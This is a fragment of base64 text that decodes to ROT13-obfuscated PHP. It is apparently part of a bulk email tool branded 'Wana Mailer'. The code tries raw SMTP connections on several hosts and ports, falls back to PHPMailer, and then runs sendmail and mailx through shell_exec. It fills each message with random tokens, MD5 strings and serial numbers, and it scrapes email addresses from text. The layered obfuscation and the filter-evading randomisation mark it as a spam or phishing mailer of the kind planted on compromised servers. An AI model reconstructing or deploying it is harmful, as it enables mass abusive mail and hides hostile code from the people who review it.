ZfdWd6eSkgewogICAgICAgIGdlbCB7CiAgICAgICAgICAgIC8vIEdlbCBxdnNzcmVyYWcgRlpHQyBwYmFzdnRoZW5ndmJhZgogICAgICAgICAgICAkcGJhc3Z0ZiA9IFsKICAgICAgICAgICAgICAgIFsndWJmZycgPT4gJ3licG55dWJmZycsICdjYmVnJyA9PiAyNSwgJ2ZmeScgPT4gc255ZnJdLAogICAgICAgICAgICAgICAgWyd1YmZnJyA9PiAnMTI3LjAuMC4xJywgJ2NiZWcnID0+IDI1LCAnZmZ5JyA9PiBzbnlmcl0sCiAgICAgICAgICAgICAgICBbJ3ViZmcnID0+ICd5YnBueXViZmcnLCAnY2JlZycgPT4gNTg3LCAnZmZ5JyA9PiBzbnlmcl0sCiAgICAgICAgICAgICAgICBbJ3ViZmcnID0+ICcxMjcuMC4wLjEnLCAnY2JlZycgPT4gNTg3LCAnZmZ5JyA9PiBzbnlmcl0sCiAgICAgICAgICAgICAgICBbJ3ViZmcnID0+ICd5YnBueXViZmcnLCAnY2JlZycgPT4gNDY1LCAnZmZ5JyA9PiBnZWhyXSwKICAgICAgICAgICAgICAgIFsndWJmZycgPT4gJF9GUkVJUkVbJ1VHR0NfVUJGRyddLCAnY2JlZycgPT4gMjUsICdmZnknID0+IHNueWZyXSwKICAgICAgICAgICAgXTsKICAgICAgICAgICAgCiAgICAgICAgICAgIHNiZXJucHUoJHBiYXN2dGYgbmYgJHBiYXN2dCkgewogICAgICAgICAgICAgICAgJGVyZmh5ZyA9ICRndXZmLT5mcmFxRlpHQygkcGJhc3Z0Wyd1YmZnJ10sICRwYmFzdnRbJ2NiZWcnXSwgJGdiLCAkc2Viel9yem52eSwgJHNlYnpfYW56ciwgJGZob3dycGcsICR6cmZmbnRyLCAkdmZfdWd6eSwgJHBiYXN2dFsnZmZ5J10pOwogICAgICAgICAgICAgICAgdnMoJGVyZmh5Z1snZmhwcHJmZiddKSB7CiAgICAgICAgICAgICAgICAgICAgZXJnaGVhICRlcmZoeWc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgIGVyZ2hlYSBbJ2ZocHByZmYnID0+IHNueWZyLCAncmVlYmUnID0+ICdGWkdDIGZicHhyZyBwYmFhcnBndmJhIHNudnlycSddOwogICAgICAgICAgICAKICAgICAgICB9IHBuZ3B1KFJrcHJjZ3ZiYSAkcikgewogICAgICAgICAgICBlcmdoZWEgWydmaHBwcmZmJyA9PiBzbnlmciwgJ3JlZWJlJyA9PiAkci0+dHJnWnJmZm50cigpXTsKICAgICAgICB9CiAgICB9CiAgICAKICAgIGNldmluZ3Igc2hhcGd2YmEgZnJhcUZaR0MoJHViZmcsICRjYmVnLCAkZ2IsICRzZWJ6X3J6bnZ5LCAkc2Viel9hbnpyLCAkZmhvd3JwZywgJHpyZmZudHIsICR2Zl91Z3p5LCAkZmZ5ID0gc255ZnIpIHsKICAgICAgICAkZ3Z6cmJoZyA9IDEwOwogICAgICAgICR1YmZnYW56ciA9ICRmZnkgPyAiZmZ5Oi8vJHViZmciIDogJHViZmc7CiAgICAgICAgCiAgICAgICAgJGZicHggPSBAc2ZicHhiY3JhKCR1YmZnYW56ciwgJGNiZWcsICRyZWVhYiwgJHJlZWZnZSwgJGd2enJiaGcpOwogICAgICAgIAogICAgICAgIHZzKCEkZmJweCkgewogICAgICAgICAgICBlcmdoZWEgWydmaHBwcmZmJyA9PiBzbnlmciwgJ3JlZWJlJyA9PiAiUGJhYXJwZ3ZiYSBzbnZ5cnE6ICRyZWVmZ2UgKCRyZWVhYikiXTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgZmdlcm56X2ZyZ19ndnpyYmhnKCRmYnB4LCAkZ3Z6cmJoZyk7CiAgICAgICAgCiAgICAgICAgLy8gRXJucSBqcnlwYnpyCiAgICAgICAgJGVyZmNiYWZyID0gc3RyZ2YoJGZicHgsIDQwOTYpOwogICAgICAgIAogICAgICAgIC8vIEZyYXEgUlVZQgogICAgICAgIHNjaGdmKCRmYnB4LCAiUlVZQiAiIC4gJF9GUkVJUkVbJ1VHR0NfVUJGRyddIC4gIlxlXGEiKTsKICAgICAgICAkZXJmY2JhZnIgPSBzdHJnZigkZmJweCwgNDA5Nik7CiAgICAgICAgCiAgICAgICAgLy8gWk5WWSBTRUJaCiAgICAgICAgc2NoZ2YoJGZicHgsICJaTlZZIFNFQlo6IDwkc2Viel9yem52eT5cZVxhIik7CiAgICAgICAgJGVyZmNiYWZyID0gc3RyZ2YoJGZicHgsIDQwOTYpOwogICAgICAgIAogICAgICAgIC8vIEVQQ0cgR0IKICAgICAgICBzY2hnZigkZmJweCwgIkVQQ0cgR0I6IDwkZ2I+XGVcYSIpOwogICAgICAgICRlcmZjYmFmciA9IHN0cmdmKCRmYnB4LCA0MDk2KTsKICAgICAgICAKICAgICAgICAvLyBRTkdOCiAgICAgICAgc2NoZ2YoJGZicHgsICJRTkdOXGVcYSIpOwogICAgICAgICRlcmZjYmFmciA9IHN0cmdmKCRmYnB4LCA0MDk2KTsKICAgICAgICAKICAgICAgICAvLyBPaHZ5cSByem52eSB1cm5xcmVmCiAgICAgICAgJHVybnFyZWYgPSAiU2ViejogXCIkc2Viel9hbnpyXCIgPCRzZWJ6X3J6bnZ5PlxlXGEiOwogICAgICAgICR1cm5xcmVmIC49ICJHYjogJGdiXGVcYSI7CiAgICAgICAgJHVybnFyZWYgLj0gIkZob3dycGc6ICRmaG93cnBnXGVcYSI7CiAgICAgICAgJHVybnFyZWYgLj0gIlFuZ3I6ICIgLiBxbmdyKCdlJykgLiAiXGVcYSI7CiAgICAgICAgJHVybnFyZWYgLj0gIlpWWlItSXJlZnZiYTogMS4wXGVcYSI7CiAgICAgICAgJHVybnFyZWYgLj0gIkstQ2V2YmV2Z2w6IDNcZVxhIjsKICAgICAgICAkdXJucXJlZiAuPSAiSy1abnZ5cmU6IEpua24gWm52eXJlIDMuMlxlXGEiOwogICAgICAgIAogICAgICAgIHZzKCR2Zl91Z3p5KSB7CiAgICAgICAgICAgICR1cm5xcmVmIC49ICJQYmFncmFnLUdsY3I6IGdya2cvdWd6eTsgcHVuZWZyZz1IR1MtOFxlXGEiOwogICAgICAgICAgICB2cyghY2VydF96bmdwdSgnLzx1Z3p5fDxvYnFsL3YnLCAkenJmZm50cikpIHsKICAgICAgICAgICAgICAgICR6cmZmbnRyID0gJGd1dmYtPmplbmNVZ3p5KCR6cmZmbnRyLCAkZmhvd3JwZyk7CiAgICAgICAgICAgIH0KICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAkdXJucXJlZiAuPSAiUGJhZ3JhZy1HbGNyOiBncmtnL2N5bnZhOyBwdW5lZnJnPUhHUy04XGVcYSI7CiAgICAgICAgICAgICR6cmZmbnRyID0gZmdldmNfZ250ZigkenJmZm50cik7CiAgICAgICAgfQogICAgICAgIAogICAgICAgICR1cm5xcmVmIC49ICJcZVxhIjsKICAgICAgICAKICAgICAgICAvLyBGcmFxIHFuZ24KICAgICAgICBzY2hnZigkZmJweCwgJHVybnFyZWYgLiAkenJmZm50ciAuICJcZVxhLlxlXGEiKTsKICAgICAgICAkZXJmY2JhZnIgPSBzdHJnZigkZmJweCwgNDA5Nik7CiAgICAgICAgCiAgICAgICAgLy8gREhWRwogICAgICAgIHNjaGdmKCRmYnB4LCAiREhWR1xlXGEiKTsKICAgICAgICBzcHliZnIoJGZicHgpOwogICAgICAgIAogICAgICAgIHZzKGZnZWNiZigkZXJmY2JhZnIsICcyNTAnKSA9PT0gMCB8fCBmZ2VjYmYoJGVyZmNiYWZyLCAnMzU0JykgPT09IDApIHsKICAgICAgICAgICAgZXJnaGVhIFsnZmhwcHJmZicgPT4gZ2VociwgJ3pyZ3VicScgPT4gJ2Z6Z2NfZmJweHJnJ107CiAgICAgICAgfQogICAgICAgIAogICAgICAgIGVyZ2hlYSBbJ2ZocHByZmYnID0+IHNueWZyLCAncmVlYmUnID0+ICJGWkdDIHJlZWJlOiAkZXJmY2JhZnIiXTsKICAgIH0KICAgIAogICAgLy8gWlJHVUJRIDQ6IENVQ1pudnlyZQogICAgY2V2aW5nciBzaGFwZ3ZiYSBmcmFxSXZuQ1VDWm52eXJlKCRnYiwgJGZob3dycGcsICR6cmZmbnRyLCAkc2Viel9yem52eSwgJHNlYnpfYW56ciwgJHZmX3VnenkpIHsKICAgICAgICBnZWwgewogICAgICAgICAgICAvLyBHZWwgZ2IgeWJucSBDVUNabnZ5cmUKICAgICAgICAgICAgJGN1Y3pudnlyZV95Ym5xcnEgPSBzbnlmcjsKICAgICAgICAgICAgCiAgICAgICAgICAgIC8vIFB1cnB4IHpoeWd2Y3lyIGNiZmZ2b3lyIHlicG5ndmJhZgogICAgICAgICAgICAkY2JmZnZveXJfeWJwbmd2YmFmID0gWwogICAgICAgICAgICAgICAgX19RVkVfXyAuICcvQ1VDWm52eXJlL2ZlcC9DVUNabnZ5cmUuY3VjJywKICAgICAgICAgICAgICAgIF9fUVZFX18gLiAnL2N1Y3pudnlyZS9DVUNabnZ5cmUuY3VjJywKICAgICAgICAgICAgICAgICdDVUNabnZ5cmUuY3VjJwogICAgICAgICAgICBdOwogICAgICAgICAgICAKICAgICAgICAgICAgc2Jlcm5wdSgkY2JmZnZveXJfeWJwbmd2YmFmIG5mICR5YnBuZ3ZiYSkgewogICAgICAgICAgICAgICAgdnMoc3Z5cl9ya3ZmZ2YoJHlicG5ndmJhKSkgewogICAgICAgICAgICAgICAgICAgIGVyZGh2ZXJfYmFwciAkeWJwbmd2YmE7CiAgICAgICAgICAgICAgICAgICAgZXJkaHZlcl9iYXByIGZnZV9lcmN5bnByKCdDVUNabnZ5cmUuY3VjJywgJ0ZaR0MuY3VjJywgJHlicG5ndmJhKTsKICAgICAgICAgICAgICAgICAgICBlcmRodmVyX2JhcHIgZmdlX2VyY3lucHIoJ0NVQ1pudnlyZS5jdWMnLCAnUmtwcmNndmJhLmN1YycsICR5YnBuZ3ZiYSk7CiAgICAgICAgICAgICAgICAgICAgJGN1Y3pudnlyZV95Ym5xcnEgPSBnZWhyOwogICAgICAgICAgICAgICAgICAgIG9lcm54OwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICB2cyghJGN1Y3pudnlyZV95Ym5xcnEpIHsKICAgICAgICAgICAgICAgIGVyZ2hlYSBbJ2ZocHByZmYnID0+IHNueWZyLCAncmVlYmUnID0+ICdDVUNabnZ5cmUgYWJnIHNiaGFxJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgICR6bnZ5ID0gYXJqIENVQ1pudnlyZVxDVUNabnZ5cmVcQ1VDWm52eXJlKGdlaHIpOwogICAgICAgICAgICAKICAgICAgICAgICAgZ2VsIHsKICAgICAgICAgICAgICAgIC8vIEdlbCBGWkdDIHN2ZWZnCiAgICAgICAgICAgICAgICAkem52eS0+dmZGWkdDKCk7CiAgICAgICAgICAgICAgICAkem52eS0+VWJmZyA9ICd5YnBueXViZmcnOwogICAgICAgICAgICAgICAgJHpudnktPkNiZWcgPSAyNTsKICAgICAgICAgICAgICAgICR6bnZ5LT5GWkdDTmhndSA9IHNueWZyOwogICAgICAgICAgICAgICAgJHpudnktPkZaR0NGcnBoZXIgPSBzbnlmcjsKICAgICAgICAgICAgICAgICR6bnZ5LT5GWkdDTmhnYkdZRiA9IHNueWZyOwogICAgICAgICAgICAgICAgJHpudnktPkd2enJiaGcgPSAxMDsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgJHpudnktPmZyZ1NlYnooJHNlYnpfcnpudnksICRzZWJ6X2FuenIpOwogICAgICAgICAgICAgICAgJHpudnktPm5xcU5xcWVyZmYoJGdiKTsKICAgICAgICAgICAgICAgICR6bnZ5LT5GaG93cnBnID0gJGZob3dycGc7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIHZzKCR2Zl91Z3p5KSB7CiAgICAgICAgICAgICAgICAgICAgJHpudnktPnZmVUdaWShnZWhyKTsKICAgICAgICAgICAgICAgICAgICAkem52eS0+T2JxbCA9ICRndXZmLT5qZW5jVWd6eSgkenJmZm50ciwgJGZob3dycGcpOwogICAgICAgICAgICAgICAgICAgICR6bnZ5LT5OeWdPYnFsID0gZmdldmNfZ250ZigkenJmZm50cik7CiAgICAgICAgICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAgICAgICAgICR6bnZ5LT5PYnFsID0gZmdldmNfZ250ZigkenJmZm50cik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIHZzKCR6bnZ5LT5mcmFxKCkpIHsKICAgICAgICAgICAgICAgICAgICBlcmdoZWEgWydmaHBwcmZmJyA9PiBnZWhyLCAnenJndWJxJyA9PiAnY3Vjem52eXJlX2Z6Z2MnXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIAogICAgICAgICAgICB9IHBuZ3B1KFJrcHJjZ3ZiYSAkcikgewogICAgICAgICAgICAgICAgLy8gR2VsIGZyYXF6bnZ5IG5mIHNueXlvbnB4CiAgICAgICAgICAgICAgICBnZWwgewogICAgICAgICAgICAgICAgICAgICR6bnZ5LT52ZkZyYXF6bnZ5KCk7CiAgICAgICAgICAgICAgICAgICAgJHpudnktPmZyZ1NlYnooJHNlYnpfcnpudnksICRzZWJ6X2FuenIpOwogICAgICAgICAgICAgICAgICAgICR6bnZ5LT5ucXFOcXFlcmZmKCRnYik7CiAgICAgICAgICAgICAgICAgICAgJHpudnktPkZob3dycGcgPSAkZmhvd3JwZzsKICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICB2cygkdmZfdWd6eSkgewogICAgICAgICAgICAgICAgICAgICAgICAkem52eS0+dmZVR1pZKGdlaHIpOwogICAgICAgICAgICAgICAgICAgICAgICAkem52eS0+T2JxbCA9ICRndXZmLT5qZW5jVWd6eSgkenJmZm50ciwgJGZob3dycGcpOwogICAgICAgICAgICAgICAgICAgICAgICAkem52eS0+TnlnT2JxbCA9IGZnZXZjX2dudGYoJHpyZmZudHIpOwogICAgICAgICAgICAgICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICAgICAgICAgICAgICR6bnZ5LT5PYnFsID0gZmdldmNfZ250ZigkenJmZm50cik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIHZzKCR6bnZ5LT5mcmFxKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZXJnaGVhIFsnZmhwcHJmZicgPT4gZ2VociwgJ3pyZ3VicScgPT4gJ2N1Y3pudnlyZV9mcmFxem52eSddOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gcG5ncHUoUmtwcmNndmJhICRyKSB7CiAgICAgICAgICAgICAgICAgICAgZXJnaGVhIFsnZmhwcHJmZicgPT4gc255ZnIsICdyZWViZScgPT4gJHItPnRyZ1pyZmZudHIoKV07CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgIGVyZ2hlYSBbJ2ZocHByZmYnID0+IHNueWZyLCAncmVlYmUnID0+ICdDVUNabnZ5cmUgc252eXJxJ107CiAgICAgICAgICAgIAogICAgICAgIH0gcG5ncHUoUmtwcmNndmJhICRyKSB7CiAgICAgICAgICAgIGVyZ2hlYSBbJ2ZocHByZmYnID0+IHNueWZyLCAncmVlYmUnID0+ICRyLT50cmdacmZmbnRyKCldOwogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gWlJHVUJRIDU6IEZ1cnl5IFJrcnAKICAgIGNldmluZ3Igc2hhcGd2YmEgZnJhcUl2bkZ1cnl5UmtycCgkZ2IsICRmaG93cnBnLCAkenJmZm50ciwgJHNlYnpfcnpudnksICRzZWJ6X2FuenIsICR2Zl91Z3p5KSB7CiAgICAgICAgZ2VsIHsKICAgICAgICAgICAgLy8gQ2VyY25lciBndXIgcnpudnkKICAgICAgICAgICAgJG9iaGFxbmVsID0genE1KGd2enIoKSk7CiAgICAgICAgICAgICR1cm5xcmVmID0gIlNlYno6IFwiJHNlYnpfYW56clwiIDwkc2Viel9yem52eT5cZVxhIjsKICAgICAgICAgICAgJHVybnFyZWYgLj0gIkdiOiAkZ2JcZVxhIjsKICAgICAgICAgICAgJHVybnFyZWYgLj0gIkZob3dycGc6ICRmaG93cnBnXGVcYSI7CiAgICAgICAgICAgICR1cm5xcmVmIC49ICJaVlpSLUlyZWZ2YmE6IDEuMFxlXGEiOwogICAgICAgICAgICAKICAgICAgICAgICAgdnMoJHZmX3VnenkpIHsKICAgICAgICAgICAgICAgICR1cm5xcmVmIC49ICJQYmFncmFnLUdsY3I6IGdya2cvdWd6eTsgcHVuZWZyZz1IR1MtOFxlXGEiOwogICAgICAgICAgICAgICAgJHpyZmZudHIgPSAkZ3V2Zi0+amVuY1VnenkoJHpyZmZudHIsICRmaG93cnBnKTsKICAgICAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgICAgICR1cm5xcmVmIC49ICJQYmFncmFnLUdsY3I6IGdya2cvY3ludmE7IHB1bmVmcmc9SEdTLThcZVxhIjsKICAgICAgICAgICAgICAgICR6cmZmbnRyID0gZmdldmNfZ250ZigkenJmZm50cik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgICR1cm5xcmVmIC49ICJLLVpudnlyZTogSm5rbiBabnZ5cmUgMy4yXGVcYSI7CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyBHZWwgaGZ2YXQgem52eSBwYnp6bmFxCiAgICAgICAgICAgICR6bnZ5X3BiYWdyYWcgPSAkdXJucXJlZiAuICJcZVxhIiAuICR6cmZmbnRyOwogICAgICAgICAgICAkem52eV9wYmFncmFnX3JhcGJxcnEgPSByZnBuY3JmdXJ5eW5ldCgkem52eV9wYmFncmFnKTsKICAgICAgICAgICAgCiAgICAgICAgICAgICRwYnp6bmFxID0gInJwdWIgJHpudnlfcGJhZ3JhZ19yYXBicXJxIHwgL2hmZS9mb3ZhL2ZyYXF6bnZ5IC1nIC12IDI+L3FyaS9haHl5IjsKICAgICAgICAgICAgQGZ1cnl5X3JrcnAoJHBienpuYXEpOwogICAgICAgICAgICAKICAgICAgICAgICAgLy8gTnlncmVhbmd2aXI6IGhmciB6bnZ5ayB2cyBuaW52eW5veXIKICAgICAgICAgICAgJHBienpuYXEgPSAicnB1YiBcIiIgLiBucXFmeW5mdXJmKCR6cmZmbnRyKSAuICJcIiB8IHpudnkgLWYgXCIiIC4gbnFxZnluZnVyZigkZmhvd3JwZykgLiAiXCIgLW4gXCJTZWJ6OiAkc2Viel9hbnpyIDwkc2Viel9yem52eT5cIiAkZ2IgMj4vcXJpL2FoeXkiOwogICAgICAgICAgICBAZnVyeXlfcmtycCgkcGJ6em5hcSk7CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyBKcid5eSBuZmZoenIgdmcgamJleHJxIHZzIGFiIHJlZWJlIChmdmFwciBqciBwbmEnZyBybmZ2eWwgcHVycHggZnVyeXlfcmtycCBmaHBwcmZmKQogICAgICAgICAgICBlcmdoZWEgWydmaHBwcmZmJyA9PiBnZWhyLCAnenJndWJxJyA9PiAnZnVyeXlfcmtycCddOwogICAgICAgICAgICAKICAgICAgICB9IHBuZ3B1KFJrcHJjZ3ZiYSAkcikgewogICAgICAgICAgICBlcmdoZWEgWydmaHBwcmZmJyA9PiBzbnlmciwgJ3JlZWJlJyA9PiAkci0+dHJnWnJmZm50cigpXTsKICAgICAgICB9CiAgICB9CiAgICAKICAgIGNldmluZ3Igc2hhcGd2YmEgamVuY1VnenkoJHBiYWdyYWcsICRmaG93cnBnKSB7CiAgICAgICAgJHBiYWdyYWcgPSBheTJvZSh1Z3p5ZmNycHZueXB1bmVmKCRwYmFncmFnKSk7CiAgICAgICAgZXJnaGVhICc8IVFCUEdMQ1IgdWd6eT4KPHVnenk+Cjx1cm5xPgogICAgPHpyZ24gcHVuZWZyZz0iSEdTLTgiPgogICAgPHpyZ24gYW56cj0iaXZyamNiZWciIHBiYWdyYWc9Imp2cWd1PXFyaXZwci1qdnFndSwgdmF2Z3ZueS1mcG55cj0xLjAiPgogICAgPGd2Z3lyPicgLiB1Z3p5ZmNycHZueXB1bmVmKCRmaG93cnBnKSAuICc8L2d2Z3lyPgogICAgPGZnbHlyPgogICAgICAgIG9icWwgeyAKICAgICAgICAgICAgc2JhZy1zbnp2eWw6IC1uY2N5ci1mbGZncnosIE95dmF4Wm5wRmxmZ3J6U2JhZywgIkZydGJyIEhWIiwgRWJvYmdiLCBmbmFmLWZyZXZzOyAKICAgICAgICAgICAgeXZhci11cnZ0dWc6IDEuNjsgCiAgICAgICAgICAgIHBieWJlOiAjMzMzOyAKICAgICAgICAgICAgem5rLWp2cWd1OiA2MDBjazsgCiAgICAgICAgICAgIHpuZXR2YTogMCBuaGdiOyAKICAgICAgICAgICAgY25xcXZhdDogMjBjazsgCiAgICAgICAgICAgIG9ucHh0ZWJoYXE6ICNzOXM5czk7IAogICAgICAgIH0KICAgICAgICAucGJhZ252YXJlIHsgCiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IGp1dmdyOyAKICAgICAgICAgICAgb2JlcXJlLWVucXZoZjogMTBjazsgCiAgICAgICAgICAgIGJpcmVzeWJqOiB1dnFxcmE7IAogICAgICAgICAgICBvYmstZnVucWJqOiAwIDJjayAxMGNrIGV0b24oMCwwLDAsMC4xKTsgCiAgICAgICAgfQogICAgICAgIC51cm5xcmUgeyAKICAgICAgICAgICAgb25weHRlYmhhcTogeXZhcm5lLXRlbnF2cmFnKDEzNXFydCwgIzY2N3JybiwgIzc2NG9uMik7IAogICAgICAgICAgICBwYnliZToganV2Z3I7IAogICAgICAgICAgICBjbnFxdmF0OiAzMGNrOyAKICAgICAgICAgICAgZ3JrZy1ueXZ0YTogcHJhZ3JlOyAKICAgICAgICB9CiAgICAgICAgLnBiYWdyYWcgeyAKICAgICAgICAgICAgY25xcXZhdDogMzBjazsgCiAgICAgICAgICAgIHNiYWctZnZtcjogMTZjazsgCiAgICAgICAgfQogICAgICAgIC5zYmJncmUgeyAKICAgICAgICAgICAgb25weHRlYmhhcTogI3M1czVzNTsgCiAgICAgICAgICAgIGNucXF2YXQ6IDIwY2s7IAogICAgICAgICAgICBncmtnLW55dnRhOiBwcmFncmU7IAogICAgICAgICAgICBwYnliZTogIzY2NjsgCiAgICAgICAgICAgIHNiYWctZnZtcjogMTJjazsgCiAgICAgICAgICAgIG9iZXFyZS1nYmM6IDFjayBmYnl2cSAjcnJyOyAKICAgICAgICB9CiAgICAgICAgbiB7IAogICAgICAgICAgICBwYnliZTogIzY2N3JybjsgCiAgICAgICAgICAgIGdya2ctcXJwYmVuZ3ZiYTogYWJhcjsgCiAgICAgICAgfQogICAgICAgIC5vaGdnYmEgeyAKICAgICAgICAgICAgcXZmY3lubDogdmF5dmFyLW95YnB4OyAKICAgICAgICAgICAgb25weHRlYmhhcTogeXZhcm5lLXRlbnF2cmFnKDEzNXFydCwgIzY2N3JybiwgIzc2NG9uMik7IAogICAgICAgICAgICBwYnliZToganV2Z3I7IAogICAgICAgICAgICBjbnFxdmF0OiAxMmNrIDI0Y2s7IAogICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiA1Y2s7IAogICAgICAgICAgICBncmtnLXFycGJlbmd2YmE6IGFiYXI7IAogICAgICAgICAgICB6bmV0dmE6IDEwY2sgMDsgCiAgICAgICAgfQogICAgICAgIEB6cnF2biBiYXlsIGZwZXJyYSBuYXEgKHpuay1qdnFndTogNjAwY2spIHsKICAgICAgICAgICAgLnBiYWdyYWcgeyBjbnFxdmF0OiAyMGNrOyB9CiAgICAgICAgICAgIC51cm5xcmUgeyBjbnFxdmF0OiAyMGNrOyB9CiAgICAgICAgICAgIG9icWwgeyBjbnFxdmF0OiAxMGNrOyB9CiAgICAgICAgfQogICAgPC9mZ2x5cj4KPC91cm5xPgo8b2JxbD4KICAgIDxxdmkgcHluZmY9InBiYWdudmFyZSI+CiAgICAgICAgPHF2aSBweW5mZj0idXJucXJlIj4KICAgICAgICAgICAgPHUyPicgLiB1Z3p5ZmNycHZueXB1bmVmKCRmaG93cnBnKSAuICc8L3UyPgogICAgICAgIDwvcXZpPgogICAgICAgIDxxdmkgcHluZmY9InBiYWdyYWciPgogICAgICAgICAgICAnIC4gJHBiYWdyYWcgLiAnCiAgICAgICAgPC9xdmk+CiAgICAgICAgPHF2aSBweW5mZj0ic2JiZ3JlIj4KICAgICAgICAgICAgPGM+R3V2ZiByem52eSBqbmYgZnJhZyBpdm4gPGZnZWJhdD5KbmtuIFpudnlyZTwvZmdlYmF0PjwvYz4KICAgICAgICAgICAgPGM+wqkgJyAuIHFuZ3IoJ0wnKSAuICcgJyAuIHVnenlmY3Jwdm55cHVuZWYoJF9GUkVJUkVbJ1VHR0NfVUJGRyddID8/ICdMYmhlIFFiem52YScpIC4gJy4gTnl5IGV2dHVnZiBlcmZyZWlycS48L2M+CiAgICAgICAgPC9xdmk+CiAgICA8L3F2aT4KPC9vYnFsPgo8L3Vnenk+JzsKICAgIH0KICAgIAogICAgY2hveXZwIHNoYXBndmJhIHRyZ1lidGYoKSB7CiAgICAgICAgZXJnaGVhICRndXZmLT55YnRmOwogICAgfQp9CgovLyA9PT09PT09PT09PT09PT09PT09PSBVUllDUkUgU0hBUEdWQkFGID09PT09PT09PT09PT09PT09PT09CnNoYXBndmJhIGpua25QeXJuZSgkZ3JrZywgJHJ6bnZ5KSB7CiAgICAkciA9IHJrY3licXIoJ0AnLCAkcnpudnkpOwogICAgJHJ6bnZ5aGZyZSA9IHZmZnJnKCRyWzBdKSA/ICRyWzBdIDogJyc7CiAgICAkcnpudnlxYnpudmEgPSB2ZmZyZygkclsxXSkgPyAkclsxXSA6ICcnOwogICAgCiAgICAkZXJjeW5wcnpyYWdmID0gbmVlbmwoCiAgICAgICAgIlstZ3Z6ci1dIiA9PiBxbmdyKCJ6L3EvTCB1OnY6ZiBuIiwgZ3Z6cigpKSwKICAgICAgICAiWy1yem52eS1dIiA9PiAkcnpudnksCiAgICAgICAgIlstcnpudnloZnJlLV0iID0+ICRyem52eWhmcmUsCiAgICAgICAgIlstcnpudnlxYnpudmEtXSIgPT4gJHJ6bnZ5cWJ6bnZhLAogICAgICAgICJbLWVuYXFienlyZ2dyZWYtXSIgPT4gZW5hcUZnZXZhdCgnbm9wcXJzdHV2d3h5emFiY2RlZmdoaWprbG0nKSwKICAgICAgICAiWy1lbmFxYnpmZ2V2YXQtXSIgPT4gZW5hcUZnZXZhdCgnbm9wcXJzdHV2d3h5emFiY2RlZmdoaWprbG0wMTIzNDU2Nzg5JyksCiAgICAgICAgIlstZW5hcWJ6YWh6b3JlLV0iID0+IGVuYXFGZ2V2YXQoJzAxMjM0NTY3ODknKSwKICAgICAgICAiWy1lbmFxYnp6cTUtXSIgPT4genE1KGVuYXFGZ2V2YXQoJ25vcHFyc3R1dnd4eXphYmNkZWZnaGlqa2xtMDEyMzQ1Njc4OScpKSwKICAgICAgICAiWy1xbmdyLV0iID0+IHFuZ3IoIkwtei1xIiksCiAgICAgICAgIlstbHJuZS1dIiA9PiBxbmdyKCJMIiksCiAgICAgICAgIlstemJhZ3UtXSIgPT4gcW5ncigiUyIpLAogICAgICAgICJbLXFubC1dIiA9PiBxbmdyKCJ5IiksCiAgICAgICAgIlstdmMtXSIgPT4gJF9GUkVJUkVbJ0ZSRUlSRV9OUVFFJ10gPz8gJzEyNy4wLjAuMScsCiAgICAgICAgIlstcWJ6bnZhLV0iID0+ICRfRlJFSVJFWydVR0dDX1VCRkcnXSA/PyAneWJwbnl1YmZnJywKICAgICAgICAiWy1oYXZrLV0iID0+IGd2enIoKSwKICAgICAgICAiWy1nYnhyYS1dIiA9PiBvdmEydXJrKGVuYXFiel9vbGdyZig4KSksCiAgICAgICAgIlstZnJldm55LV0iID0+IGZnZWdiaGNjcmUoaGF2ZHZxKCkpCiAgICApOwogICAgCiAgICBlcmdoZWEgZmdlX2VyY3lucHIobmVlbmxfeHJsZigkZXJjeW5wcnpyYWdmKSwgbmVlbmxfaW55aHJmKCRlcmN5bnByenJhZ2YpLCAkZ3JrZyk7Cn0KCnNoYXBndmJhIGVuYXFGZ2V2YXQoJHB1bmVmcmcpIHsKICAgICR5cmF0Z3UgPSBlbmFxKDgsIDIwKTsKICAgICRlcmZoeWcgPSAnJzsKICAgIHNiZSgkdiA9IDA7ICR2IDwgJHlyYXRndTsgJHYrKykgewogICAgICAgICRlcmZoeWcgLj0gJHB1bmVmcmdbZW5hcSgwLCBmZ2V5cmEoJHB1bmVmcmcpIC0gMSldOwogICAgfQogICAgZXJnaGVhICRlcmZoeWc7Cn0KCnNoYXBndmJhIHZmSW55dnFSem52eSgkcnpudnkpIHsKICAgIGVyZ2hlYSBzdnlncmVfaW5lKCRyem52eSwgU1ZZR1JFX0lOWVZRTkdSX1JaTlZZKTsKfQoKc2hhcGd2YmEgcmtnZW5wZ1J6bnZ5ZlNlYnpHcmtnKCRncmtnKSB7CiAgICAkY25nZ3JlYSA9ICcvW24tbU4tTTAtOS5fJSstXStAW24tbU4tTTAtOS4tXStcLltuLW1OLU1dezIsfS8nOwogICAgY2VydF96bmdwdV9ueXkoJGNuZ2dyZWEsICRncmtnLCAkem5ncHVyZik7CiAgICBlcmdoZWEgbmVlbmxfaGF2ZGhyKCR6bmdwdXJmWzBdKTsKfQoKc2hhcGd2YmEgcHVycHhabnZ5RmxmZ3J6KCkgewogICAgJHB1cnB4ZiA9IFtdOwogICAgCiAgICAvLyBQdXJweC